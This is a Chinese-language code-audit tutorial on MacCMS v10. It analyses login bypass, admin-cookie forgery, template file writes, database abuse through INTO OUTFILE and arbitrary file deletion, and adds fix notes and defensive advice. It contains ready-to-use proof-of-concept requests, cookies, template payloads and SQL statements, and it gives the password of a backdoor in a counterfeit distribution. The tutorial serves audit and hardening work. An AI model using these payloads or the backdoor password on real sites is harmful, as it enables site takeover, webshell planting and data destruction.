边吃瓜边审计 MacCMS
字数 1780
更新时间 2025-08-13 07:27:25
MacCMS v10 代码审计与漏洞利用教学文档
0x01 简介
MacCMS 是一套快速视频内容管理开源 CMS 系统,目前流行的两个版本是 v10 和 v8。本教学文档主要针对 MacCMS v10 的代码审计。
技术栈
- 采用 ThinkPHP 5.0 框架
- 需要熟悉 TP5 框架特性
版本争议
目前有两个自称官方的网站:
- maccms.la (GitHub账号: magicblack)
- maccms.pro (GitHub账号: maccmspro)
0x02 漏洞分析
1. 前台任意用户登录
漏洞位置
application/common/model/User.php 中的 login 方法
漏洞原理
存在两种登录验证方式:
- 用户名密码验证
- 第二种验证方式构造 SQL 语句
where $data['col']=$data['openid'],参数完全可控
利用方式
构造 user_id=xxx 实现任意用户登录
POC
POST /index.php/user/login
openid=1&col=user_id
修复建议
- 限制
col参数为特定字段 - 增加权限验证
2. 绕过后台会话验证
漏洞位置
application/common/model/Admin.php 中的 checkLogin 方法
漏洞原理
$admin_id,$admin_name,$admin_check来自客户端 cookie,完全可控- 利用 TP5 cookie 助手函数的特性,可构造布尔值 true
- 结合 TP5 的 where 条件构造特性实现绕过
利用方式
- 构造模糊查询条件
- 利用 PHP 弱类型比较
POC
Cookie:
admin_id[]=like;admin_id[]=%;
admin_name[]=like;admin_name[]=%;
admin_check=think:true
或精简版:
Cookie:
admin_id=think:["like","%"];
admin_name=think:["like","%"];
admin_check=think:true
修复情况
- v2020.1000.1042: 对 cookie 值做 urldecode 操作
- v2020.1000.1062: 改用 session 处理会话
3. 后台任意文件写入
漏洞位置
application/admin/controller/Template.php 中的 info 方法
限制条件
- 文件后缀限制为 html/htm/js/xml
- 内容过滤
<?和{php}
绕过方式
方法1: 更换 PHP 标记风格
<script language="php">phpinfo();</script>
(仅适用于 PHP5)
方法2: 文件包含
- 上传含 PHP 代码的文件
- 使用 TP5 的 include 标签包含上传文件
方法3: 利用 TP5 模板标签
{:$a="ph"."pinfo";$a()}
或
{~$a="ph"."pinfo";$a()}
修复情况
后续版本增加了对敏感字符的过滤,但未完全解决问题
4. 后台数据库功能利用
漏洞位置
application/admin/controller/Database.php 中的 sql 方法
利用方式
4.1 INTO OUTFILE 写木马
(select '<?php phpinfo();?>' into outfile '/var/www/1.php')
4.2 任意文件删除
- 修改数据库中的文件路径
UPDATE `mac_annex` SET `annex_file` = 'upload/../application/data/install/install.lock' WHERE `annex_id` = 21
- 使用删除功能删除文件
5. 其他安全问题
5.1 存储型 XSS
后台添加文章/视频处存在存储型 XSS
5.2 离线安装应用上传木马
通过伪造 info.ini 文件上传恶意压缩包
5.3 假冒网站后门
历史上仿冒网站 maccmsv10.com 的源码中包含后门:
extend/upyun/src/Upyun/Api/Format.phpextend/Qcloud/Sms/Sms.php
密码:WorldFilledWithLove
0x03 总结
主要问题根源
- 认证机制不严谨
- 对 TP5 框架特性理解不足
- 输入过滤不完善
审计建议
- 重点关注用户认证相关代码
- 检查所有文件操作功能
- 审计数据库操作功能
- 验证所有用户输入点
防御建议
- 使用最新修复版本
- 加强输入验证和过滤
- 使用 session 而非 cookie 存储认证信息
- 限制后台高危功能权限
附录
参考链接
- https://www.maccms.la/
- https://www.zhihu.com/question/469030135
- https://tieba.baidu.com/p/7425108612
- https://www.xunaonao.com/15058.html
测试模板下载
https://www.lanzoux.com/s/pgcms
本教学文档详细分析了 MacCMS v10 的主要安全漏洞,包括漏洞原理、利用方式和修复建议,可作为代码审计和安全加固的参考指南。
相似文章
相似文章